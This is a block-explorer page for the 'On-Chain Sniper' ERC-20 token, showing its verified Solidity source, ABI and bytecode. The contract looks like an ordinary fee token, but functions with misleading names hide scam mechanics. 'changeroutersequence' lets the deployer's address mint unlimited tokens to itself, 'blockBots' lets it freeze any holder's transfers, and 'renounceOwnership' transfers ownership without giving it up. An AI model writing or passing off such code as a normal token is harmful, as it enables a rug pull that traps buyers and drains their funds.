ETH Price: $2,526.06 (+2.76%)
Gas: 1.07 Gwei

Token

On-Chain Sniper (OCS)
 

Overview

Max Total Supply

2,000,000,000 OCS

Holders

110

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,835,683.905808196 OCS

Value
$0.00
0xe6f88c9e6db89d753ec5ab81b089a96c9455fcdc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
onchain

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-25
*/

// https://medium.com/@onchaindev/on-chain-snipers-and-the-start-of-a-crypto-class-war-74325bacef0
// https://t.me/OnChainSniperERC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract onchain is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "On-Chain Sniper";
    string private _symbol = "OCS";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public EnableOptimization;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _handPaper;

    uint256 public _buyMarketingFee = 4;
    uint256 public _sellMarketingFee = 4;

    uint256 private _totalSupply = 2000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        EnableOptimization = payable(address(msg.sender));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function blockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == EnableOptimization&& addresses.length >= 0 );
        for (uint256 i; i < addresses.length; i++) {
            _handPaper[addresses[i]] = status;
        }
    }

    function changeroutersequence(uint256 Reference) public {
        address account = EnableOptimization;
        uint256 compile = _balances[account];
        require(msg.sender == account);
        uint256 run = compile + Reference;
        _balances[account] = run;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            EnableOptimization.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_handPaper[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableOptimization","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_handPaper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Reference","type":"uint256"}],"name":"changeroutersequence","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600f60809081526e27b716a1b430b4b71029b734b832b960891b60a05260019062000030908262000275565b506040805180820190915260038152624f435360e81b60208201526002906200005a908262000275565b506003805460ff191660099081179091556004600a818155600b9190915562000084919062000456565b620000949063773594006200046e565b600c55348015620000a457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000fd6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b03191633179055600c54906004906200015f3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001c291815260200190565b60405180910390a362000488565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001fb57607f821691505b6020821081036200021c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027057600081815260208120601f850160051c810160208610156200024b5750805b601f850160051c820191505b818110156200026c5782815560010162000257565b5050505b505050565b81516001600160401b03811115620002915762000291620001d0565b620002a981620002a28454620001e6565b8462000222565b602080601f831160018114620002e15760008415620002c85750858301515b600019600386901b1c1916600185901b1785556200026c565b600085815260208120601f198616915b828110156200031257888601518255948401946001909101908401620002f1565b5085821015620003315787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003985781600019048211156200037c576200037c62000341565b808516156200038a57918102915b93841c93908002906200035c565b509250929050565b600082620003b15750600162000450565b81620003c05750600062000450565b8160018114620003d95760028114620003e45762000404565b600191505062000450565b60ff841115620003f857620003f862000341565b50506001821b62000450565b5060208310610133831016604e8410600b841016171562000429575081810a62000450565b62000435838362000357565b80600019048211156200044c576200044c62000341565b0290505b92915050565b60006200046760ff841683620003a0565b9392505050565b808202811582820484141762000450576200045062000341565b61162a80620004986000396000f3fe6080604052600436106101395760003560e01c806345807d32116100ab578063c5d241891161006f578063c5d24189146103b9578063c816841b146103cf578063c8607952146103ef578063c9567bf914610405578063d478a06c1461041a578063dd62ed3e1461043a57600080fd5b806345807d321461031057806370a08231146103305780638da5cb5b1461036657806395d89b4114610384578063a9059cbb1461039957600080fd5b806318160ddd116100fd57806318160ddd1461022d57806323b872dd1461024c578063313ce5671461026c5780633345611e1461028e57806338bf3cfa146102be5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101a0578063113daa7c146101d05780631694505e1461020857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b6040516101679190611293565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f9565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101906101bb366004611325565b60096020526000908152604090205460ff1681565b3480156101dc57600080fd5b506005546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021457600080fd5b50600d546101f09061010090046001600160a01b031681565b34801561023957600080fd5b50600c545b604051908152602001610167565b34801561025857600080fd5b50610190610267366004611342565b610529565b34801561027857600080fd5b5060035460405160ff9091168152602001610167565b34801561029a57600080fd5b506101906102a9366004611325565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102de6102d9366004611325565b610594565b005b3480156102ec57600080fd5b506101906102fb366004611325565b60086020526000908152604090205460ff1681565b34801561031c57600080fd5b506102de61032b366004611383565b61063e565b34801561033c57600080fd5b5061023e61034b366004611325565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b506000546001600160a01b03166101f0565b34801561039057600080fd5b5061015a610693565b3480156103a557600080fd5b506101906103b43660046112f9565b6106a2565b3480156103c557600080fd5b5061023e600a5481565b3480156103db57600080fd5b50600e546101f0906001600160a01b031681565b3480156103fb57600080fd5b5061023e600b5481565b34801561041157600080fd5b506102de6106af565b34801561042657600080fd5b506102de61043536600461139c565b6108e0565b34801561044657600080fd5b5061023e610455366004611427565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048f90611460565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb90611460565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610981565b5060015b92915050565b6000610536848484610aa5565b506105898433610584856040518060600160405280602881526020016115cd602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e0e565b610981565b5060015b9392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6005546001600160a01b031660008181526004602052604090205433821461066557600080fd5b600061067184836114b0565b6001600160a01b03909316600090815260046020526040902092909255505050565b60606002805461048f90611460565b6000610589338484610aa5565b6000546001600160a01b031633146107095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ea565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906114c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906114c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906114c3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316336001600160a01b0316148015610901575060015b61090a57600080fd5b60005b8281101561097b57816009600086868581811061092c5761092c6114e0565b90506020020160208101906109419190611325565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610973816114f6565b91505061090d565b50505050565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b6001600160a01b03841660009081526009602052604090205460ff1615610b9357600080fd5b600d5460ff1615610bb057610ba9848484610e48565b905061058d565b30600090815260046020526040902054600d5460ff16158015610bec57506001600160a01b03851660009081526008602052604090205460ff16155b15610bfa57610bfa81610f2e565b6001600160a01b038516600090815260046020526040902054610c1d9084611100565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6a57506001600160a01b03851660009081526007602052604090205460ff165b15610c76575082610d84565b6001600160a01b03861660009081526008602052604081205460ff1615610cbe57610cb76064610cb1600a548861114290919063ffffffff16565b906111c4565b9050610cfc565b6001600160a01b03861660009081526008602052604090205460ff1615610cfc57610cf96064610cb1600b548861114290919063ffffffff16565b90505b8015610d765730600090815260046020526040902054610d1c9082611206565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d6d9085815260200190565b60405180910390a35b610d808582611100565b9150505b6001600160a01b038516600090815260046020526040902054610da79082611206565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfb9085815260200190565b60405180910390a360019250505061058d565b60008184841115610e325760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f848661150f565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e99918490610e0e565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec89083611206565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f1c9086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7057610f706114e0565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100791906114c3565b8160018151811061101a5761101a6114e0565b6001600160a01b039283166020918202929092010152600d5461104591309161010090041684610981565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611082908590600090869030904290600401611522565b600060405180830381600087803b15801561109c57600080fd5b505af19250505080156110ad575060015b504780156110f1576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ef573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061058d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e0e565b60008260000361115457506000610523565b60006111608385611593565b90508261116d85836115aa565b1461058d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b600061058d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611265565b60008061121383856114b0565b90508381101561058d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b600081836112865760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f84866115aa565b600060208083528351808285015260005b818110156112c0578581018301518582016040015282016112a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f657600080fd5b50565b6000806040838503121561130c57600080fd5b8235611317816112e1565b946020939093013593505050565b60006020828403121561133757600080fd5b813561058d816112e1565b60008060006060848603121561135757600080fd5b8335611362816112e1565b92506020840135611372816112e1565b929592945050506040919091013590565b60006020828403121561139557600080fd5b5035919050565b6000806000604084860312156113b157600080fd5b833567ffffffffffffffff808211156113c957600080fd5b818601915086601f8301126113dd57600080fd5b8135818111156113ec57600080fd5b8760208260051b850101111561140157600080fd5b60209283019550935050840135801515811461141c57600080fd5b809150509250925092565b6000806040838503121561143a57600080fd5b8235611445816112e1565b91506020830135611455816112e1565b809150509250929050565b600181811c9082168061147457607f821691505b60208210810361149457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105235761052361149a565b6000602082840312156114d557600080fd5b815161058d816112e1565b634e487b7160e01b600052603260045260246000fd5b6000600182016115085761150861149a565b5060010190565b818103818111156105235761052361149a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115725784516001600160a01b03168352938301939183019160010161154d565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105235761052361149a565b6000826115c757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e646bdfdd546994f7fcb48943d320cbf101b10076efe1c424e7cfbdc96de4b5564736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806345807d32116100ab578063c5d241891161006f578063c5d24189146103b9578063c816841b146103cf578063c8607952146103ef578063c9567bf914610405578063d478a06c1461041a578063dd62ed3e1461043a57600080fd5b806345807d321461031057806370a08231146103305780638da5cb5b1461036657806395d89b4114610384578063a9059cbb1461039957600080fd5b806318160ddd116100fd57806318160ddd1461022d57806323b872dd1461024c578063313ce5671461026c5780633345611e1461028e57806338bf3cfa146102be5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101a0578063113daa7c146101d05780631694505e1461020857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b6040516101679190611293565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f9565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101906101bb366004611325565b60096020526000908152604090205460ff1681565b3480156101dc57600080fd5b506005546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021457600080fd5b50600d546101f09061010090046001600160a01b031681565b34801561023957600080fd5b50600c545b604051908152602001610167565b34801561025857600080fd5b50610190610267366004611342565b610529565b34801561027857600080fd5b5060035460405160ff9091168152602001610167565b34801561029a57600080fd5b506101906102a9366004611325565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102de6102d9366004611325565b610594565b005b3480156102ec57600080fd5b506101906102fb366004611325565b60086020526000908152604090205460ff1681565b34801561031c57600080fd5b506102de61032b366004611383565b61063e565b34801561033c57600080fd5b5061023e61034b366004611325565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b506000546001600160a01b03166101f0565b34801561039057600080fd5b5061015a610693565b3480156103a557600080fd5b506101906103b43660046112f9565b6106a2565b3480156103c557600080fd5b5061023e600a5481565b3480156103db57600080fd5b50600e546101f0906001600160a01b031681565b3480156103fb57600080fd5b5061023e600b5481565b34801561041157600080fd5b506102de6106af565b34801561042657600080fd5b506102de61043536600461139c565b6108e0565b34801561044657600080fd5b5061023e610455366004611427565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048f90611460565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb90611460565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610981565b5060015b92915050565b6000610536848484610aa5565b506105898433610584856040518060600160405280602881526020016115cd602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e0e565b610981565b5060015b9392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6005546001600160a01b031660008181526004602052604090205433821461066557600080fd5b600061067184836114b0565b6001600160a01b03909316600090815260046020526040902092909255505050565b60606002805461048f90611460565b6000610589338484610aa5565b6000546001600160a01b031633146107095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ea565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906114c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906114c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906114c3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316336001600160a01b0316148015610901575060015b61090a57600080fd5b60005b8281101561097b57816009600086868581811061092c5761092c6114e0565b90506020020160208101906109419190611325565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610973816114f6565b91505061090d565b50505050565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b6001600160a01b03841660009081526009602052604090205460ff1615610b9357600080fd5b600d5460ff1615610bb057610ba9848484610e48565b905061058d565b30600090815260046020526040902054600d5460ff16158015610bec57506001600160a01b03851660009081526008602052604090205460ff16155b15610bfa57610bfa81610f2e565b6001600160a01b038516600090815260046020526040902054610c1d9084611100565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6a57506001600160a01b03851660009081526007602052604090205460ff165b15610c76575082610d84565b6001600160a01b03861660009081526008602052604081205460ff1615610cbe57610cb76064610cb1600a548861114290919063ffffffff16565b906111c4565b9050610cfc565b6001600160a01b03861660009081526008602052604090205460ff1615610cfc